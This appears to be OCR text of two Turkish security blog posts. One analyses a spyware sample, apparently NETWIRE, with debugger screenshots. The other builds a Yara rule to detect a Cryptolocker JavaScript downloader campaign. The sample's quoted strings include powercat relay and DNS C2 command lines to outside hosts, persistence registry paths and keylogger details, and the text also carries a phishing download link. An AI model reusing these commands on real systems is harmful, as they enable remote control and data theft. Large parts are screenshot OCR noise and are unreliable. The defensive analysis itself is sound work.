® || D0404E24 . Al 08 %0{mov eax,dword ptr ds:[<&GetModuleHandleAx>]
| 0o0a0se2F |l. 50 push eax ~ i)
< T | 4 1: [esp+4] 00000000

2: [esp+§] 00000000
3: [esp+C] 00000000

.text:00404E0D0 aptl.exe:$4E0D #4200 <sub_404DEC+21>

z 00250000
Woump1 | gypump2 | ¥Wpump3 | $pump4 | $pumps | @ wawhi | P swuct | DD15FF| 0DDODDOO 7
ASCII 001E8FF| 00000000
iU ... XA 001EFF| 0DOOOO0D

0018FF| 00000000
0018FF| 00000000
0015FF| 00000000
0018FF| 00000000
0018FF| 00000000
001E8FF| 00000000
0018FF| 00000000

o

=

o

(=]

o

(=]

o

=]

o

(=]

o

=]

o

(=]

o

a

=]

=
coocooooooowm

00 00|00 00 00 00|00 00 0O DOIEER U0UO0000, A
0018FF| 00000000
00 00|00 OO OO 00|00 0O 0O i e
00 00|00 00 00 00|00 0O 0O o2 R B et X
" 3 < 1 3
Command: Default
| Running |D.l|p: 00250000 -> 00250000 (0x00000001 bytes) |TlneWas|rdDel:uggi|g: 0:00:25:05
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4 e i
K )| | <« LocalDisk(C) » Users » Mert » AppData » Roaming » AMD

>4 J| search aMD

— e t—
Organize = | ] Open Share with « New folder
% Favorites MName = Date modified Type Size
M Desktop | default.conf 03.03.2017 13:50 CONF File 1KB
4 Downloads [2°] 0GLCache.exe 05.03.2017 10:45 Application 156 KB
(E—-J Recent Places | |_| OGLCache.exe.bak 28.02.2015 10:02 BAK File 302 KB

- Libraries
Documents
Ji Music
[&=] Pictures
B Videos

L Computer

’ ej MNetwork

B OGLCache.exe.bak Date modified: 28.02.2015 10:02
l BAK File

Size: 301 KB

Date created: 06.03.2017 12:49

e xE?

=7 clusers\mert\desktop\decoded_maly lcache.exe
—ad indicators (3/14)
pY virustotal (n/a)
dos-stub (54 bytes)
file-header (20 bytes)
optional-header (224 bytes)
directories (2)
sections (4)
libraries (2/8)
imports (161)
exports (n/a)
exceptions
tls-callback:

size

=]

ooQao

oDoQoao

=0

Ak debug (n/a)

B manitest (n/a)
{8 file-version (n/a)
G certificate (n/a)
—[3 overlay (n/a)

RENE PN ST HBBRREE EBR "

location

blacklisted (200)  item (1300}

®

XX X X X X X X M X X X X X X X X X X X X X X X X X X X X X X X X X X X X X

SVB
powercat -¢ 10.1.1.1 -p 53 -dns c2.example.com
powercat -1 -p 8000 -r dnsi10.11.1:53:c2.example.com

cmd.exe /¢ Set-E: i icy -Exec

WINDIR

Ses\system32icmd.exe

checkip.dyndns.org

Hest: checkip.dyndns.org

User-Agent: Moxzilla/5.0 (Windows NT 6.3; WOWE; Trident/7.0; na11.0) like Gecko

Accept: applicati | applicati kq=09,i p,"iq=08

Accept-Language: en-US,emq=08

WRTEMP%

B4.200.212:443;

RTEMP i\ loopc.cmd

CAWindows\system3Ziemd.exe

psapidil

GetModuleFileNameEx

ns.exe

System

SetThreadExecutionState

CAWindows\system32\cmd.exe

SOFTWAREWM PAME fnoh Wersion\Run

SOFTWARE\Microsoft\Active Setuphlnstalled Components\ %s\

Secur32.dil

LsaGetlogonSessionData

LsaEnumerateLogonSessions

psapi.dll

GetModuleFileNameEx

ERNEL3Z.DLL

winhttp.dil

WinHttpOpen

WinHttpGetProxyForlrd

WinHttpCloseHandle

WinHzt ryConfigFor

GethativeSysteminfo

PreductType

SYSTEM\CurrentControlSet\Control\ProductOptions

WINNT

LANMANNT

icy Bypass -Scope Process -Force...
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File Help
A B 1
= 7 c\users\mert\desktop\decoded_mah | type size location  blacklisted (200)  item (1300) -
:’ indicators (3/14) o 4 <Lt
T - =
o.pllo:l;il-;lme.l (Z;-l bytes) ascii 17 - function powercat
1 directories (2) CH 8 = param(
sections ) asci 35 - [alias{"Client")][string}$c="",
libraries (2/8) asci » . [alias("Listen")}[switch]Si= $False,
| imports (161) ascii 57 - [alias("Port")|[Parameter(Position=-1)][string[$p="",
1 expos (n/a Bsci 36 - [alias("Execute™)][string]$e="",
1 exceptions (n/a ascii 51 - [alias("ExecutePowershell”)|[switch]Sep=§False,
asci EL [alias("Relay")][string]Sr="", i
ascil E [alias{"UDP")][switch]Su=SFalse,
ascil k] [alias("dnscat2”)[string]Sdns="",
ascii 51 = [alias{"DNSF ailure Threshold")|[int32]S dnsft=10,
ascii 35 - [alias( Timeout™)][int32]5t=60,
asci &5 - [Parameter{ValueFromPipeline= § True) ][ alias{ Tnput”)]Si= Snull,
ascil a3 - [ValidateSet{ Host', "Bytes', ‘String')][alias("Output Type™)][string]$o="Host",
verizy (n/a ascii & = [alias{"OutputFile")][string]Sof="",
asch 43 = [alias{"Disconnect”)]|switch]$d=5False,
ascii 43 - [alias{"Repeater™)][switch]Srep=SFalse,
ascii @ - [alias{"GeneratePayload™)|[switch]Sg=SFalse,
ascil 80 - [alias{"GenerateEncoded”)][switch]Sge=$False,
ascil 36 - [alias{"Help")][switch]Sh=$False
ascii £ - HELP
asch 1n - SHelp ="
ascii 41 - powercat - Netcat, The Powershell Version
asch 58 - Github Repository: https://github.com/besimorhino/powercat
ascii n - This script attempts to implement the features of netcat in a powershell
ascii [ - script. It also contains extra features such as built-in relays, execute
asci 3 - powershell, and a dnscat client.
ascii 46 - Usage: powercat [-c or -] [-p port] [options]
ascil 83 - -¢ <ip> Client Mode. Provide the IP of the system you wish to connect to.
= = , | 2sci L} . If you are using -dns, specify the DNS Server to send queries to. =
— —

=57 chusersimert\desktop\decoded_mals | type size location  blacklisted (200)  item (1300) 3
el 'r_'d'“k"ls_Bﬂ_‘ﬂ unicode 15 - - UninstallString
E dll;:ls:u;{lﬁ-‘t ehyhes] unicu:c ;4- - - Eisﬂa;\ﬂ'ersion
R unicode - ublisher
E ;;.:;:?:u:::.’; bytes) tnicode, |20 : - QuietUninstaliString
0 directories (2) unicode Fi - - %.2d/%.2d/%d %.2d:%.2d:%.2d
O sections () unicode 28 - - L df%. d/%d %.2d:%.2d:%.2d
O libraries unicode 3 - : %
0 imports gfl:; unicode 13 - o InternetProxy
O exports (n/a) unicode 8 - - “od: %55,
O exceptions (n/a) unicode 15 - - \ous B4 e s sy
O tis-callbacks (n/a) unicode 5 =, = %t/ %5
™ unicode 5 - - s %asl
atc unicode 4 - Yes%s
A debug (n/s) unicode 5 - - HeSe%eu
g manifest (n/a) unicode 5 = L %5:%d
{8 file-version (n/3) unicode 36 - - [%s] - [%-2d/%.2d/%d %.2d:%.2d:%.2d)
L certiicate (n/a) unicode n . - {Backspace}
L3 everay (n/a) unicode 8 = £ {Return}
unicode 5 - - {Tab}
unicode 12 - R {Arrow Left}
unicode 10 - - {Amrow Up}
unicode 13 = 3 {Asrow Right}
wnicode 12 - - {Arrow Down}
unicode 6 - - {Home}
unicode g = ) {Page Up}
unicode 1 - = {Page Down}
unicode b - - {End}
unicode 7 - . {Break}
unicede 8 = = {Delete}
unicode 8 - E {Insert}
unicode 14 - z {Print Screen}
unicode 13 - - {Scroll Lock}
unicode 1n i = {Caps Lock)
unicode b (At}
unicode 5 - - {Esc)
unicode g = - {Cerl+3%c)
unicode 4 - - {%s}
unicode 4 - - 2X (=
rim — ] s | unicode 5 - - s\ s =

Dinamik kod analizine devam ettigimde, ¢alisan iglemler (process) arasinda ns.exe isimli (Norton Security oldugunu tahmin ediyorum.)
igslemi gordiigiinde, % TEMP% klasoriine olusturdugu loopc.cmd isimli toplu islem dosyast (batch) ile Powercat aracini ¢alistirarak (powercat
-1-p 4000 -r tcp:84.200.2.12:443;) 4000. baglant1 noktas1 (port) ile 84.200.2.12 ip adresine 443. baglanti noktas1 arasinda relay yapabildigini
gordiim. Asil amacim, zararli yazilimin g¢ekirdegine yani tim fonksiyonlarin ¢agrildigi ana fonksiyona ulagmak ve zararli yazilimin
yeteneklerini 6grenmek oldugu i¢in analiz etmeye devam ettim. Fonksiyonlar arasi gezinirken ¢ok gegmeden IDA’nin grafik goriiniimii ile
00405AB3 adresindeki ana fonksiyona ulastim. Bu fonksiyon altindan ¢agrilan diger fonksiyonlara hizlica baktigimda bunun uzaktan sistemi
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yonetmeye imkan taniyan ve buna ilaveten tus kaydi yapabilen, ekran goriintiisii alabilen ve Outlook, Thunderbird profillerinde yer alan
kullanic1 ad1 ve parola bilgilerini de ¢alabilen bir casus yazilim oldugunu 6grenmis oldum.

File Edit Jump Search View Debugger Options Windows Help
SH e BB 8 ) o @O @ F X > OO [vodebuge +] %) @ B §
M Lbrary function I Data [l Regular function  Unexplored [l Instruction [l External symbol
£ Functions window 0 & x || [ maviewa B | 5] strings window [ | B Hexview-1 | (A sructures [ (O enums | #5  mports | [ exports

Function name -

| 7] sub_401000 =
1 sub_401086
sub 401288
sub_401319
sub_40136C
sub_4019C1
sub_§019FC
sub_401B56
| sub_401004
| sub_401FSF
sub_40206B
sub_4020FF
sub_402301
sub_402362

T

sub_402377
sub_4024E7
sub_40258E
sub_402600
sub_402684
| sub_402844
] sub_40291C
sub_402B5E
sub_402009

K

[ |

t

T |

-

1 "

ﬁ'nGrad\ouer\new O & x

G

N L R L R

100.00% (18802,5
‘-.-‘Oumu:wmdow
Command “JumpOpXref" failed
[python

AU: idle Down

Disk: 6GB

loc_h@7297

€20) (235,7) 0000661C

[esp+iu+uExit
sub_K19F69
ort loc_h@

0040721C: sub_405AB3+176% (Synchronized with Hex View-1)

ode], ea

; jumptable OO4OSAEC case 89

; int
int

SOCKET
; outlook

profilinde yer alan k.adi ve parolalari caliyor.

04 - OGLCache.exe CALL S (el ct i gt
1) RS S

File Edit lump Semch Wiew Debugger Options Windows Help
SH e BHN S L o DO dcbat S FuX

M Lrary functon [ Data [ Reguiar finction  Uneapiored [l Tnstructon [l Extemal symbol
7] Funenons weem o#s x||[@ DA View-4

e *
tet
test
et
tet
et
et
tet
et
ot
test
et
bt
tet
tet
text
tet
et
text
test
e
tet
test
tet
tet
et
et
tet
et
Stk
tet
e

B [ O3 e debugger

B | 5 sings wndow

) ) @

; nbirt¥ey

1oc_%15060
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04 e e iR o D Ccr T - =
File Edt lump Sewch View Debugger Options Windows Help
SH e BNA S ) o DO At F e X P OO e o @ @
[ | ! _________________________________________________________}J
I Lvary finction [ Data [l Reguir finction  Uneapiored [l Instruction [l Extemal symbal
Tl rsew.. @ [ | poenn. i} ] T} poeu. | [[E .05 [.63 =) | (A st.. 1| ] im. | @ex

[7] Funcions wiedow o0& x [[Bo.

Functicn name Seg ©

7| sub_801000 tet

] sub, 801085 et

F] sub_s01288 et

] sub_snng text

7| sub_80136C et

7] sub S019C1 et

£ sub_819FC tet | Y
ub_ 1856 et

] sub_S0100A e .

£ sub_SQIFSF et

] sub_802068 et

LF] sub_s020FF e o

£ sub_s0z301 test

7 sub_802362 e

£ sub_s02T? pet |

£ sub_S0MET FE .

7| sub_sa258E ren |

£ sub_802600 et

] sub_802684 et

.
7] sub_snzmad s |8 1) = bni r.bilieight + 5h;
£ sub_s0291C e -
£ sub_80286E det |
P .
rer | I
7 tet |
7 res | K3
7l et |
7| sub_ 803155 .
7| sub,_805158 et | _
7] sub 803282 test | .
7| sub_s03s3c et

cader.bileight, (char *)u19 + 5&, Bbai, 0)

HODAND
b_NODALD

#h Graph overvew 08 x

= stackoverflow  cuess

and saves it to disk B aild prefer 1o not save it each time. After several hours of reading over ) Podcast #103 Grandma,
other examples online | stil feel | do not understand how this. process works.

5

W The two goals are 1o create
capture only selected parts

e in mémony 10 be passed 1o another funcbion and to be able o
he screen given (xy) coordinates,

anm sy new 1o coding so i ths i a trivial
appreciate any explanations.

g A would not surprsed but would still greatly

Here is the sample code | found online and have been working with

RE

1_DEPRECATE

Wanta python job?

Project Lead - §
100%

(hDesktopDC,

enHeight,

tfarm Engineer

Big Da

Related

NEE 6

Youre “repetitioely new? You mean you keep starting over, foegetting what you lamed before? — Barmar
Try the GetPixel function - =

| think the hCaptureBitsap variablo contains the Screen captum data. You can do whatever you want with Z screen games using DX
that. = Barmar

Analizimi tamamlamadan once zararli yazilimda yer alan fakat analizim siiresince devreye girmeyen tus kaydindan sorumlu olan
fonksiyonu bulup, hizlica géz atmaya karar verdim. 0041572C adresinde yer alan tus kaydindan sorumlu olan fonksiyonu tespit ettikten
sonra programin akisini degistirerek, akigmn bu fonksiyona devam etmesini sagladim. Ardindan sistem {izerinde bastigim her tusun
(AAAAAAAAAAAAA...), AMD klasoriinde dosya adi tarihten olusan bir dosyaya (-08-03-2017) kayit edildigini gordiim. Okunakli
olmayan bir dosyanin sifrelemesini de ¢6zmek igin fonksiyona kisaca goz attigimda, dosyaya yazilan her bir baytin ilk olarak 9D hex degeri
ile XOR isleminden gegirilip ardindan da ¢ikan degere 36 sayisinin ekledigini gérdiim. Hex Workshop Hex Editor araci ile tus kaydinin
saklandig1 dosyada ters islem (-36 ~ 9D) yaptigimda ise okunakli olmayan bastigim tus bilgilerini okunakl hale ¢evirebildim.
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http://www.hexworkshop.com/overview.html

TW IDA - OGLCache.idb (OGLC ache.exe) C:\ Users)\ Mert) Desictop DGLC ache i
Fie Edf Jump Sesch Veew Debugger  Opt
»00 ®«F 2 00m

Wand

Du¥y¥ @

I Levary furcnon [ Dots [ Regui furczen, [l Unesgsored I

A Goach overvn o# x

al, al
short loc_hoss

<

Te firect input to th

TW DA - OGLCache.idb (OGLC ache.exe) €\ Users\Miert\ Desktop DGLCache i - Running
Fie £da Jump Semch View Dtbugger Opt

»@o ) [

wdows Help

Struchues

duord ptr
duord ptr
dward ptr

yte ptr [ed=]

BONISFTT
BIIBRED

AD\DGL ache e

[T a. ] Fo 18
[T}

[T}

an

(1]

(7]

y [ (7]

B 00 00 26 00 08

To divect input to this

e the mouse pointer

side or press Cirl

L Stack] BODONYED] : 021BF #
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W 1D - OGL Cache idb [DGLCache. exe) C:\ Lsers\Wert\ Desitep DGLC ache i - Funning = ron
Fie Edf Jump Sesch Veew Debugger Opticns Windows  Help
@00 wEF 3 X FE M ek Ty g

I Liary funcron [ Data [ Reguisr furcson [l Lnesgiored [l trstrucson [l Exterral symbol

Dot Vi 0 |[A Stctures i Enums
7] 104 View £ O & % 35 Generdregsters o &
0
L]
0
0
0
0
v dword prr
word ptr M
- dword ptr 2
oches o &
Path Base Sae
S Ch\Users M 00400000 000500
TR €AW HRENO0

Funning

i BB 00 B0 98 34 O a1 00 AB FP 18 02
1 B2 00 00 00 00 02 0O 90 F9 16 02 18 00 08 00
| B0 09 0D 00 1F o4 1F 00 B0 99 B0 FE B7 OB 00
W1 0 B0 00 00 0B 0O 0 48 BB 09 B0 0B 0O
] 10 00 08 00 08 0 o8 0
1 BB 0 B0 AR B0 98 00 AR o 0 00 88 00
) OB 00 0D 00 0% 08 0D 08 O B0 98 00 A8 00
n 0 B0 08 B0 08 7 0@ 01 B0 08 BD 28 0D 00 0 ..
<

() Hex Worshop - [C o g AMEN 08 7 oy ==
Ey File Edt Disk Options Tock Plug-lns Window Help -
==L A 9e KRR @ -e9 | wHeE
2| Mo atipl @0 | -
I Lieary fnction [ Dota [ Reguiar furcton [l Unesgiored [l drtruction [ Exterral symbel ST
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T direct input to this VI, move the mouse pointer inside or press Ctrls 6.

Sonug itibariyle organize siber sug ¢etelerinin hedef aldiklar1 kurumlara saldirirken devlet destekli (nation state) siber saldirganlardan ¢ok da
geri kalmadiklarin1 gorebiliyoruz. Citay1 her daim yiikseltelen siber saldirganlarla miicadele adina FireEye (Mandiant)‘in da raporunda yer
verdigi lizere 6zellikle finans kurumlarinin giivenlik ve insan yatirimlarimi arttirmalart bityiik Snem kazantyor. Son olarak eski FBI bagkant
Robert Miller’1n “Diinyada iki ¢esit kurum var; Bir, hacklenenler, iki, hacklenecek olanlar” sdzlinii hatirlatarak, bir sonraki yazida goriigmek
dilegiyle herkese giivenli giinler dilerim.

Not:

* Bu yaziya konu olan APT grubu heniiz bilinmemekte olup, konu olan zararli yazilim ise FireEye firmasinin May1s ayinda yayinlamis
oldugu EPS Processing Zero-Days Exploited by Multiple Threat Actors blog yazisinda NETWIRE olarak isimlendirilmistir.

* Buyazi ayrica Pi Hediyem Var #11 oyununun ¢éziim yolunu da igermektedir.
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The post Yakindan da Yakin! appeared first on Siber Giivenlik Giinliigii.

Yara ile Tehdit Avi

By Mert SARICA on September 1st, 2017

Diinya genelinde, son kullanici sistemlerindeki verileri zararli yazilimlarla (cryptolocker vb.) sifreledikten sonra dosyalarin sifresiz halini
silip ardindan da sifre ¢6zme anahtarini kullanicilara satmaya ¢alisarak bundan kazang saglama furyasi hiz kesmeden devam ediyor. Zaman
zaman gilivenlik arastirmacilar tarafindan sifreleme algoritmalarinin hatali kullanimina bagli olarak zararli yazilimlar tarafindan sifrelenen
veri ¢Oziilebilse de, ¢ogu vakada kullanicilar cogunlukla art niyetli kisilere talep edilen yiiksek miktarli ¢ozme bedelini 6demek zorunda
kaliyorlar. Her vaka sonrasinda veri yedeklemenin kiymeti daha net anlasilsa da, 1000 nasihat yerine 1 musibet ile hareket eden kullanicilar
oldugu siirece art niyeli kisilerin bu kazang kapisindan yakin gelecekte kolay kolay vazgegmeyecekler gibi goriiniiyor.

Siber saldirilarin hizla arttig1 gliniimiizde, tehditleri tespit edip en kisa siirede miidahale edebilme kurumlar i¢in biiyiik 6nem kazanmaya
basladi. Oyle ki vizyoner kurumlar artik mevcut giivenlik teknolojilerini atlatan tehditleri kurum ag ve sistemlerinde arayabilme adina siber
tehdit avciligina bagladilar. Tehdit aveiligina imkan taniyan teknolojilere baktiginizda, cogunun kendi imzanizi yazmaya imkan taniyan Yara
aracini ve imzalarini destekledigini gorebiliyorsunuz.

Sevgili Halil OZTURKCI‘nin 2014 y1linda Yara ile ilgili olarak yaymlamis oldugu blog yazisina baktiginizda, Yara’nin o yillarda yogunluklu
olarak adli bilisim analizinde ve bellek analizinde kullanilan Volatility araci 6zelinde kullanildigin1 gérebiliyorsunuz. Bugiin ise Yara’nin
tehdit aveiligindan zararli yazilim analizine, FireEye NX gibi ticari {iriinlerden, x64dbg gibi acik kaynak kodlu ve iicretsiz araglara, paket
kaydi yapan (full packet capture) teknolojilere kadar genis bir alanda kullanilabildigini gorebiliyorsunuz. Bu da giivenlik uzmanlarina,
giivenlik iireticilerinden bagimsiz olarak kurum i¢inde kullanilan ve Yara destegi olan giivenlik sistemlerine, cihazlara tespit ve miidahaleye
imkan taniyan kendi yazdiklar1 imzalarini tanimlama imkani tantyor. imza yazma, gegmis yillarda farkli giivenlik teknolojileri ile zor
tecriibeler yagamis olan giivenlik uzmanlariin kulagina nahos gelse de, mevzu bahis Yara oldugunda isin rengi degisiyor ¢iinkii Yara ile
kural yazmanin oldukga basit, katma degerinin ise oldukc¢a yiiksek oldugunu tecriibe ile sabit olarak sdyleyebilirim.

Cryptolocker salgininin tekrar zirve yaptig1 gectigimiz aylarda, sosyal aglarda ve NetSec e-posta listesinde, kimi giivenlik sistemlerinin,
teknolojilerinin bu salginlari tespit etmede ve engellemede yetersiz oldugunu gordiim. Ben de boyle bir durum ile karsi karsiya kalindiginda,
ozellikle defansif giivenlik uzmanlarimin Yara ile yazabilecekleri basit bir imza ile igerigi degisen benzer tehditleri nasil tespit edebileceklerine
dikkat ¢ekmek istedim.
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BN = .l %940 06:25

tistad selamlar. 21 Subat'tan bu yana
dalgalar halinde geliyor, gelemeye
devam ediyor. Sadece bloklananlardan
istastik verirsem. 2500 e yakin
bloklanan mail, 300 {in Gizerinde
farkli domain den geldigi goziikiiyor,
134 farkli link. Excel'de linklerin ilk
gorlmeye baslandigi tarihleri de
ekledim. Analiz yaparken zaman
icerisindeki degisimini gormende
faydali olabilir diye diistindiim. Daha
fazla bilgi lazimsa elimden geldigince
yardimci olurum.

dropboxusercontent...
p se ~

AL 14 KB

bugtin bir kullaniciya
bloklanmadan diisms. Nedendir,
ne degisti anlamadim.

Doruk Tekin rammer@tele2.at

Ekte gonderilen mallar icin birim fiyat ve teslim slresi rica
ederim.

https://dl.dropboxusercontent.com/s/be9kvoym3hwik69/fiy

at3.zip

lyi gunler.

Cryptolocker salginina baktigimizda, 24 saatte ¢ok sayida farkli e-posta adresinden fiyatX.zip adi altinda Cryptolocker varyanti
gonderiliyordu. Her bir zip dosyasi iginde karmasiklastirilmis (obfuscated) JavaScript koduna sahip bir indirici (downloader) bulunuyor ve
calistirildiktan hemen sonra sifreleme zararli yazilimint indirip sistemde ¢alistiriyordu.
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« [ 42| [ Search fiyatiar

] 7 ttems
w

Organize = Include in library « Share with + MNew folder
‘-:r i Mame : Date modified Type Size
B Desktop fiyatl js 22022017 1111 JScript Script File 51 KB
| & Downloads @ fiyat2.js 22,02.2017 18:20 J5cript Script File 38 KB
(i-?"_ Recent Places 7| fiyat3.js 220220171114 J5cript Script File 51 KB
| ﬂyatﬁ JS 22,02.2017 1112 JScript Script File 51 KB
- Libraries 22,02.2017 11:08 J5cript Script File 43 KB
@ Documents 22,02.2017 11:08 J5cript Script File 50 KB
Ji Music 22,02.2017 11:14 J5cript Script File 51 KB
Pictures
B videos
- Computer
f! MNetwork

Is, boyutlar1 ve igerigi birbirinden tamamen farkli olan varyantlar1 tespit etmeye geldiginde Yara ile bunu oldukca kolay bir sekilde
yapabilirsiniz. {1k olarak boyutlari listeledigimizde bir varyant hari¢ tamaminin 55 KB*den ufak oldugunu goriiyoruz. Dosyalarin igerigine
baktigmizda ise her ne kadar i¢erik tamamen farkli olsa da String fonksiyonu kullanilarak karmasik kod ¢oztimlenerek alan ad1 ve indirilecek
dosya ortaya ¢iktig1 i¢in String fonksiyonu iizerinden ilerleyebiliriz.

File Ednt Search View Encoding

o

war
war
war
war

Language Seftings
Be s @ldRkidciayl <88

Gi=3), 5t

ng{=76), "

war ruyzu = [Strin
1 war ligsehd = [Str
1% war goda = [String
s war adil = [Str
16 var ovdyszex = [t
17 war surzyza = [

13 war
20 war
21 var
22 war

23 war

g{-23), Str:
ing(-24),
-83), =, 0%, Strxml'
(=500, Swrimg(
ARG (=650,
st

1. St. ing{~

Y. St.nr.vl' .
L

Settings  Macro

zing (= b. st

¥e String
l- b Su
+ Srzing{-¢

50, "i%y
), String(-37), "+%cp®, Stringl

Run  Plugins

Language pns  Window T
IHE s R4 hkidciag| B3 H1EEEN | ®
Bt 3 | 3 et 5] B 5| i | s |

war intudcesc = [String(

76}, String{-98));
=, StEing(=5)):

3, String{-s0}):

¥", String(-5%}, String(-3711;

. Sering(=T€}]:
", String{=28}):

26 var udgafhe =
T var pgondad =
28 var oviorke =
28 var ajajuf = [

25 war fhewwewni = [Scring(-10}, String(-

String(-1

[Scring
Iseringt
IScring

1z
€3), String{-i€}):

1o SEring(-43), Steing(-i2)):

0), "a='""1z
String(-1003)7

Fle Edt Search View Languige  Seftings
HEHE s R4 BRI a%R| s
i 3] e 1 vz 3 i 3] it | i 5

function erami() [
return [new String(“esu®), mew Strimg(“liew™), m

function arnage() {
return [new String(“ps~}, new String{~ovayT), ne

function ewvaevagl) {
retarn [pew Scring(®ld

. Bew String("zxa"), "':

Elfunction kvaca{) [
return [new String(“ukca®), new String(

"1, o
¥

war ozzuwynanl = null:

var tetyw = undefined:

Elfunction ugyz{) {
return [new Scring("vep®}. "k+fo". new Scring(“al
¥
Sfunction ksygqysh() {
retarn [new Stringl®sbc®), new Strina(™:

%), mew

23 1

22 [lfunction uskibel) {

23 return [new String("i”}, mew String(

24 '

2% [Hfunction surinri() {

26 roturn [new String("en®}, "=':5", new String("fi
2

28 [lfenetisn pazuese() |
r return [new Scring("p), mew String(“apxa®), new

30 var . Sering(-E1}): ]
31 ), String{=€0), Sctring{-Ti}]): 31 Elfunction ygiildy() {
3z strang(-z6)): 3z return {new String(“ugx"}, mew String{~pbah™), m
a3 33 ]
34 3% [fenction cqpesess() {
35 B | return [new Scring(teT),
36 28, ]
a7 37 [lfunction daguglu{) {
£ ' 38 return [new String("any”), mew String{"xi"), new
33 var gylpaxy = [String(- ¢ a3 '
10 ring(-22), String(-£3), 40 fanction ypokz{) {
41 <", St.rxnu(— 1 41 retorn [new String(“gn®), new Jtring(™ry
42 war scyss = [String(-3i), Ti='ct dzay -
Sexingl=42). St 43 var ekneldyg = [Stzing(- 43 [function ejsipma() {
), Steingl-20), Serangl-ic), : 44 var eqyxle = [Izring( 44 return [new String("c”}, mew String(“pfubpt), ner
gi=14) ] 45 wvar iwxule = [String( 45
45 war jpiselp = [Scring( 45 function eniffywxi) {
. =35kg", String(-71), String(-5o 7 war enifn = [String(-3%), 47 return (new String(“e"), new String(“h<), “sica®
JavaScript file Script file
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CJFcAUsers\Mert\Deskiop\fyatari

File Edit Search

View Encoding

' JD = RIS LI::” C:\Uizgs\l‘lert\Desktop\f1yat1a1-)g1-ep String" fivatl.js
Eiyatd s ll_l js l'j ¥ C:\Users\Mert\Desktop~fiyatlar>grep "String” fiyat2.js

1 var tecvimz 199

2 Var tucupo = C:sUszserssMertsDesktopsfivatlar>grep "String" fivat3.js

3 var tdigam 444

f Nar-otnn. = IC:sUserssMertsDesktopsfivatlar>grep "String" fivatd.js

5 var utwym = 443

& var tawlong 3 2 3 5

- var efgegt = C:\Uiggs\l‘lert\Desktop\f1yat1a1-)g1-ep "String' fivat?.js
WAr VIpoeiso — [C+ ol

3 Var ge IC:sUszerssMertsDesktopsfivatlar>grep "String" fivat?.js

10 var mn) i 436

11 var xi LA | IC:sUsersMertsDesktop~fivatlar>grep "String" fivatiB.js

12 var rl - 448

' s, Cl_: Eliganiesn C:sUszerssMertsDesktop~fivatlar>

14 var di .

15 A I Favorites

16 var bg ™ =

17 war et Bl Desktop fi)rat‘l..js 2202 017 TEIT J5cript Script File 5TKE

18 var za 4 Downloads @fiyatljs 22 20 r 38 KB
var £f ‘| Recent Places @fiyaﬁ.js
var aw 5 E
S @fl)‘at‘”s
Vvar or = Libraries @fiyat?.js
var fu | Documents (2] fiyata js
var we B - 2 ! e
var ub @' Music @ﬂyaﬂﬂjs cript Script File
var np =/ Pictures = grep.exe Application
VAar we E Videos = we.exe Application
var vy
var fh) .
var ze 1% Computer

i var ur

- Yar My *i_-l Metwork
var du
var nhi

5 var ds

8 var ec

7 var ps _— '-'_ we.exe Date modified: 10.11.1999 23:00 Date created: 23.02.2017 07:45
var aj ' Application Size: 29,0 KB i

JavaScript file length: 5T974 Tines - 450 [n:6 Col:33 Sel: U0 UNIX UTF8 INS

Normal sartlarda 55 KB’dan kiigiik olan bir dosyada kullanilan String fonksiyonunun sayisinin, dosya siipheli olmadig siirece 150°den
az olacagmi varsayarak Yara anahtar kelimelerinden faydalanarak asagidaki gibi bir Yara imzasi olusturabiliriz. Yazmis oldugumuz
cryptolocker.yar isimli imzanin dogru c¢alistigint ve elimizdeki tiim varyantlar tespit edebildigini Yara araci ile de dogruladiktan sonra
imzamizi Yara destekleyen tiim giivenlik sistemlerine, teknolojilerine yiikleyerek yeni bir salgini, tehdidi tespit etmede 6nemli bir mesafe
katetmis oluyoruz.
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Q' C\Users\Mert\Desktop\fiyatlar\cryptolocker.yar - Notepad ++ w v n 4 ) — ‘ ‘ | = | P ]

Setti Window

File Edit Search View Encoding Langu Macro  Run  Plugins

8 5 g @ | A R I. . | & =
Hfiya i7js I'J IJ at 10 s Hfiyat1js ll] atdjs I.J vat2 js = eryptolocker yar E Jl
rule Cryptolocker
meta:
author = "Mert SARICA"™
description = "Cryptolocker Detection (February 2017 outbreak)}"™
date = "2017/02/23"
7 reference = "https://www.mertsarica.com"
zgample = "d01b54405d363850f8a45cfdfo7693d2"
sample = "291089237a4fb760d386dc89cT01c0Sc"
sample = "Tfd6a6e66f5a99840947e752da8037£8"
sanmple = "cf9f6eaflcfb4c60lfcHES dB8593a72a"
sample = "dd984%cbdecS598a39%ccTb82dlc4e28be”
sample = "21bcT751f05b78df9e0dd238595403c3c"
sample = "5b58el0f894602449424fcTdebaleTo4"
wversion = "1.0"
strings:
17 £f1 = "String™ nocase wide ascii

condition:
#f1 > 150 and filesize < 55KB

BN C\Windows\system32\cmd.exe |£|E|i-J

] \U.,er“\l"lert\De.,ktop\f1yat1a1-)ya1-a32 exe —r cryptolocker.yar .
Cryptolocker .“fiyatl ,].,
IC. Sfigatl
Mfigat? s
[Cryptolocker .Nfivat3.js
[Cryptolocker .“fivyatd.js
Cryptolocker .SFigat?.js
[Cryptolocker .“Nfiyat?.js

IC:“\UserssMert~Desktop~fiyatlar>

MNormal text file ndows UTF-8 INS
u C\User;\h.-'lert\Desk‘bop\f)uatIar\cryptolockeryar- Notepad++ v v )/ — ‘ ‘ | = __ 28 J
File Edit i Encoding  Langu Macro  Run  Plugins

o = ERERIFE =N | &
= 7is I'J [= eryptolocker yar E3
rule Cryptolocker
meta:
author = "Mert SARICA"
description = "Cryptolocker Detection (February 2017 outbreak)}"™
date = rl“o'\'?foéf""‘rl
7 reference = "https://www.mertsarica.com"

sample = "d01b54405d363850f8a45cfdfa76593d2"
sample = "291089237a4fb760d386dc89cT01lc03c™
sample = "Tfd6a6e66f5a99840947e752da8037£8"
sample = "cf9f6eaflcfb4cE0lfcB68aBdB93aT72a"
sample = "dd984%cbdecS598a39%ccTb82dlc4e28be”

= "21bcT51f05b78df9e0dd238555403c3c”
= "Sb5BelOf8594602449424fcTdebaleTo4"
ny gm

"String” nocase wide ascii

150 and filesize < S5KEB

"
BN C\Windows\systemn32\cmd.exe |£|Eli-J

C:“\Users\Mert\Desktop\fiyatlar>yarad2.exe —r cryptolocker.yar .
Cryptolocker .“figatl. Jo

Cryptolocker .Sfigatl

[Cryptolocker .“NfivyatZ.js

Cryptolocker _“fipatd.js

[Cryptolocker .“fivyatd.js

[Cryptolocker .Nfivat?.js

Cryptolocker .SFigat?.js

C:sUzerssMertsDesktopsfivatlar>

ndows UTF-8 INS

MNormal text file
8




Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

